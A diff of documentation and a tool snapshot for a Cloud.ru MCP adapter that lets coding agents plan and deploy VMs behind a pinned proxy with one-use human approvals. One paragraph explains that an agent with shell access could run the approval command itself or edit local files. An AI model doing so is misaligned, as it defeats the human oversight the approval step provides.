|
2
|
-
"capturedAt": "2026-
|
|
3
|
-
"engineVersion": "cloudru-vm 0.2.
|
|
4
|
-
"engineSha256": "
|
|
5
|
-
"method": "
|
|
2
|
+
"capturedAt": "2026-10-20",
|
|
3
|
+
"engineVersion": "cloudru-vm 0.2.6-20261020",
|
|
4
|
+
"engineSha256": "89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10",
|
|
5
|
+
"method": "JSON-RPC tools/list via src/probe-child.js against locally built private engine",
|
|
6
6
|
"toolCount": 144,
|
|
7
7
|
"tools": [
|
|
8
8
|
{
|
|
9
9
|
"name": "deploy",
|
|
10
|
-
"gated":
|
|
10
|
+
"gated": true
|
|
11
11
|
},
|
|
12
12
|
{
|
|
13
13
|
"name": "provision",
|
|
14
|
-
"gated":
|
|
14
|
+
"gated": true
|
|
15
15
|
},
|
|
16
16
|
{
|
|
17
17
|
"name": "status",
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
# Cloud.ru tools in Codex, Hermes, OpenCode and Pi
|
|
2
|
+
|
|
3
|
+
`cloudru-hub mcp-safe` is the common process boundary. It starts only the binary whose SHA-256 matches the package pin and the classification baseline. Its default profile advertises the 78 golden `allow` tools and rejects `ask`, `deny`, unknown tools and unsupported MCP methods before forwarding a call. Some planning tools may still write local plan files. Filesystem and shell access granted separately to an agent remain outside this MCP boundary.
|
|
4
|
+
|
|
5
|
+
Installers default to the smaller `inventory` toolset (11 tools). Select comma-separated groups with `--toolsets inventory,billing`; the available groups are `inventory`, `compute`, `kubernetes`, `data`, `network`, `storage`, and `billing`. `--toolsets all` exposes all 78 allow-classified tools. The proxy checks the chosen set on every `tools/call`, so a tool hidden from discovery cannot be invoked directly.
|
|
6
|
+
|
|
7
|
+
For the read-only billing tools, put `agreement_id` in the same owner-only credential file as `key_id`, `secret` and `project_id`, then select `--toolsets billing` or `inventory,billing`. The safe proxy passes `agreement_id` to the Go engine as `CLOUDRU_AGREEMENT_ID`; Codex installation inherits the credential-file path and billing environment variables. If the file is absent, an existing environment-only setup still works. An explicitly configured but missing or invalid file is an error. `billing_consumption` currently returns an agreement-wide aggregate. The Cloud.ru API documents project filtering, but this adapter has not implemented or live-verified that filter; do not label its total as a project-only charge.
|
|
8
|
+
|
|
9
|
+
The separate `--toolsets vm-deploy` profile allows one reviewed VM plan and remote commands on the VM returned by that plan. Put temporary credentials in `~/.config/cloudru-hub/credentials.json` (owner-only mode `0600`) as `{"key_id":"…","secret":"…","project_id":"UUID","region":"ru.AZ-2"}`. The proxy reads JSON directly and passes values to the pinned Go child as environment variables; it never runs shell `eval`. The region may also be a zone UUID. After `deploy_plan` returns a persisted plan, inspect its VM shape and RUB/month estimate, then run `cloudru-hub approve --plan-id <id> --max-monthly-rub <cap>`. This creates a ten-minute, one-use approval for the exact plan bytes and project. `deploy_apply` ignores the model's `confirmed` value and supplies it only after consuming that approval. Successful deployment opens a two-hour `vm_exec` session for that VM UUID and the plan's SSH login. A generated login password is removed from the MCP result because the engine uses its own SSH key. The deployment profile gives Codex and Hermes a 1200-second per-tool timeout, covering VM boot, SSH and API retries. A same-name VM blocks creation; inspect the returned UUID and live inventory before retrying with a different name. The profile does not expose `destroy`; inspect the VM ID and remove the test resource through a separate supervised cleanup step.
|
|
10
|
+
|
|
11
|
+
This local approval is an operator workflow, not a hard security boundary against an agent with unrestricted shell access as the same Unix user: such an agent could invoke `approve` or edit the local files itself. Use process/user isolation and cloud IAM limits if the deployment agent is untrusted. The cost number is an estimate, and the operator cap controls the reviewed plan, not Cloud.ru's final bill.
|
|
12
|
+
|
|
13
|
+
The engine binary is **not bundled**. The pinned preview is built from the private `go/cloudru-vm` source as `go/cloudru-vm/out/cloudru/cloudru-vm`; elsewhere set `CLOUDRU_VM_BIN` to an owner-supplied trusted copy whose hash matches `package.json.cloudruHub.binaryHashes`. Run `cloudru-hub self-test --json` first. A missing or changed binary makes `mcp-safe` refuse startup. The platform package `@dzhechkov/cloudru-vm-linux-x64` has not been published; this launcher release alone does not supply a working engine to a fresh npm installation.
|
|
14
|
+
|
|
15
|
+
| Host | Setup | Activation check |
|
|
16
|
+
|---|---|---|
|
|
17
|
+
| Codex | `cloudru-hub install --target codex --dir /trusted/project --toolsets vm-deploy` writes `.codex/config.toml` with `required=true`, 12 enabled tools, an explicit 1200-second timeout and inherited paths for the pinned engine and credentials file | Trust the project; in a fresh session call local-only `status` before planning. The profile requests host `auto`, but `codex exec` with approval policy `never` blocked even `status` in the local probe; `--approve-for-me` allowed it. The proxy still requires a separate plan-bound approval for `deploy_apply` |
|
|
18
|
+
| OpenCode | `cloudru-hub install --target opencode --dir /trusted/project` writes `opencode.json` with a local server | `opencode mcp list`, then inspect tools in a session; installer refuses an existing `opencode.jsonc` to avoid conflicting configs |
|
|
19
|
+
| Pi | `cloudru-hub install --target pi --dir /trusted/project` writes `.pi/mcp.json` | Use a Pi release with built-in MCP, trust the project, run `pi mcp list`, then `/mcp` in a session; an older Pi may require an adapter |
|
|
20
|
+
| Hermes | With a hash-verified engine available, `cloudru-hub install --target hermes` adds a guarded entry to `$HERMES_HOME/config.yaml` with an explicit nonempty include list and `CLOUDRU_VM_BIN` path; `--hermes-home` selects a test directory | Run `hermes mcp test cloudru_hub`; complex YAML and existing Cloud.ru entries are refused for manual review |
|
|
21
|
+
|
|
22
|
+
Hermes needs model authentication separately from the Cloud.ru service-account file. On this server, `hermes model` → **OpenAI Codex** → import existing Codex CLI credentials configured the default Hermes profile without changing `~/.codex/auth.json`. Choose a model, then check `hermes auth status openai-codex` and make a short inference probe before attempting a cloud operation. Hermes keeps an independent copy of the imported OAuth session in its own auth store; subsequent token refreshes are not shared with Codex CLI. A successful model probe alone does not establish that the Cloud.ru MCP server has credentials or that a VM deployment passed.
|
|
23
|
+
|
|
24
|
+
Hermes sends periodic MCP tool-list keepalives. The pinned proxy answers repeat listings from its filtered in-process cache while the Go engine handles a long deployment. This prevents the keepalive from waiting behind a serial `deploy_apply` and losing that call's result on reconnect. The first listing still comes from the engine; restart the proxy after changing the pinned engine or classification.
|
|
25
|
+
|
|
26
|
+
Project configs contain an absolute path to this installed package. Regenerate them after moving the package or copying the project to another machine. Hermes filters inherited environment variables when starting an MCP server, so its installer first checks the local engine hash and writes the engine's absolute path into the server-specific `env`. The proxy hashes that file again on every start. Hermes installation refuses a missing or mismatched engine without changing YAML; regenerate the entry after moving the binary. The installers preserve unrelated simple configuration and refuse an existing Cloud.ru server instead of silently overwriting it. Codex refuses existing MCP declarations whose TOML semantics need review. Hermes inserts only into a plain mapping, keeps unrelated YAML text, and refuses anchors or unusual structure. A Hermes plugin's `pre_tool_call` hook is supplementary: plugin failures and some plugin dispatch paths do not provide a reliable enforcement boundary. The proxy enforces its policy even when plugins are disabled.
|
|
27
|
+
|
|
28
|
+
Host-side registration and read checks alone do not prove a live VM deployment. The package tests use a fake engine to show that an unapproved call never reaches the backend and a VM command cannot target an unrelated VM. Do not switch these host entries to raw `mcp` to recover write access. Codex and Hermes each completed the two live Snake scenarios; their HTTP checks and cleanup evidence are in the feature acceptance record.
|
|
29
|
+
|
|
30
|
+
This integration follows the current [Codex MCP configuration](https://developers.openai.com/codex/extend/mcp), [OpenCode MCP](https://opencode.ai/docs/mcp-servers), [Pi MCP](https://github.com/earendil-works/pi/blob/main/packages/coding-agent/docs/mcp.md) and locally inspected Hermes `mcp_servers` contract. Host versions and effective configuration should be recorded when testing a real installation.
|
|
31
|
+
|
|
32
|
+
## Ideas worth carrying forward from EVO
|
|
33
|
+
|
|
34
|
+
The [EVO CLI](https://github.com/shatim-ops/evo-cli) currently has a broader standalone Go CLI, more MCP operations, HTTP transport, selectable `--toolsets`, `--allow-project`, `doctor`, JSON output and dry-run/preview flows. Those are concrete advantages over this thin adapter. The most useful next work in our own Go engine is a shared operation registry for CLI and MCP, a measured toolset/profile switch to reduce context use, and an explanation of resource cost before changes. A `confirmed=true` argument supplied by a model is not evidence that a human approved a mutation; any write mode in our hub must enforce approval independently of that argument.
|
package/docs/LOCAL-TESTING.md
CHANGED
|
@@ -1,7 +1,6 @@
|
|
|
1
|
-
# Local testing — @dzhechkov/cloudru-hub (
|
|
1
|
+
# Local testing — @dzhechkov/cloudru-hub (owner-supplied engine)
|
|
2
2
|
|
|
3
|
-
The launcher
|
|
4
|
-
Nothing here publishes anything; the ADR-001 hold stays untouched.
|
|
3
|
+
The launcher runs against the private Go build. These checks do not publish engine bytes; public redistribution still requires the separate engine grant and dependency review.
|
|
5
4
|
|
|
6
5
|
## 1. Point the launcher at an engine binary
|
|
7
6
|
|
|
@@ -9,23 +8,19 @@ Any of the three, in this precedence order:
|
|
|
9
8
|
|
|
10
9
|
```bash
|
|
11
10
|
# a) environment variable (simplest — what the self-test proof below uses)
|
|
12
|
-
export CLOUDRU_VM_BIN=/path/to/
|
|
11
|
+
export CLOUDRU_VM_BIN=/path/to/dz-harness-hub/go/cloudru-vm/out/cloudru/cloudru-vm
|
|
13
12
|
|
|
14
13
|
# b) persistent config
|
|
15
14
|
mkdir -p ~/.cloudru-hub
|
|
16
15
|
cat > ~/.cloudru-hub/config.json <<'EOF'
|
|
17
|
-
{ "enginePath": "/path/to/
|
|
16
|
+
{ "enginePath": "/path/to/dz-harness-hub/go/cloudru-vm/out/cloudru/cloudru-vm" }
|
|
18
17
|
EOF
|
|
19
18
|
|
|
20
|
-
# c)
|
|
19
|
+
# c) a future platform package matching the private build's pin
|
|
21
20
|
```
|
|
22
21
|
|
|
23
|
-
The pinned
|
|
24
|
-
`
|
|
25
|
-
`evidence/ENGINE-BASELINE.json`); the matching prebuilt binary identifies itself as
|
|
26
|
-
`cloudru-vm 0.2.3-20260718`, sha256
|
|
27
|
-
`59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124` — the launcher
|
|
28
|
-
verifies the resolved binary against exactly this pin and says so.
|
|
22
|
+
The pinned binary identifies itself as `cloudru-vm 0.2.6-20261020` and has SHA-256
|
|
23
|
+
`89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10`.
|
|
29
24
|
|
|
30
25
|
## 2. Self-test (end-to-end, no credentials required)
|
|
31
26
|
|
|
@@ -34,19 +29,18 @@ cd packages/@dzhechkov/cloudru-hub
|
|
|
34
29
|
node bin/cloudru-hub.js self-test
|
|
35
30
|
```
|
|
36
31
|
|
|
37
|
-
Expected output
|
|
32
|
+
Expected output for the current private build:
|
|
38
33
|
|
|
39
34
|
```
|
|
40
|
-
✓ resolve: …/
|
|
41
|
-
✓ sha256:
|
|
42
|
-
✓ engine-version: cloudru-vm 0.2.
|
|
35
|
+
✓ resolve: …/out/cloudru/cloudru-vm (source: env)
|
|
36
|
+
✓ sha256: 89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10 — MATCHES pinned baseline
|
|
37
|
+
✓ engine-version: cloudru-vm 0.2.6-20261020
|
|
43
38
|
✓ tools-list: 144 tools live (snapshot: 144)
|
|
44
39
|
✓ classification-coverage: every live tool is classified (144 golden entries)
|
|
45
40
|
self-test: ALL GREEN
|
|
46
41
|
```
|
|
47
42
|
|
|
48
|
-
`tools/list` needs no Cloud.ru credentials
|
|
49
|
-
`CLOUDRU_KEY_ID`/`CLOUDRU_SECRET`/`CLOUDRU_PROJECT_ID`, see the engine's own docs).
|
|
43
|
+
`tools/list` needs no Cloud.ru credentials. For `--toolsets vm-deploy`, place temporary keys in the owner-only JSON file described in `HERMES-CODEX.md`; the proxy maps them to the Go child's environment without shell evaluation.
|
|
50
44
|
|
|
51
45
|
## 3. Optional: `npm link` for a global `cloudru-hub`
|
|
52
46
|
|
|
@@ -70,8 +64,6 @@ success unless the veto executes. Finish with the manual probe it prints: in a f
|
|
|
70
64
|
Claude Code session, call `mcp__cloudru-vm__deploy` and confirm a permission prompt
|
|
71
65
|
appears; note which prefix spelling the runtime used.
|
|
72
66
|
|
|
73
|
-
## 5. Testing from another server
|
|
67
|
+
## 5. Testing from another server (`npm install` path)
|
|
74
68
|
|
|
75
|
-
|
|
76
|
-
another server can test by copying this package directory (or `npm pack` + install the
|
|
77
|
-
tarball) plus an engine binary, then steps 1–4 exactly as above.
|
|
69
|
+
The platform package is not published. Until the engine redistribution gate clears, another private server can install the launcher from npm but still needs an owner-supplied Go binary matching the pinned SHA-256.
|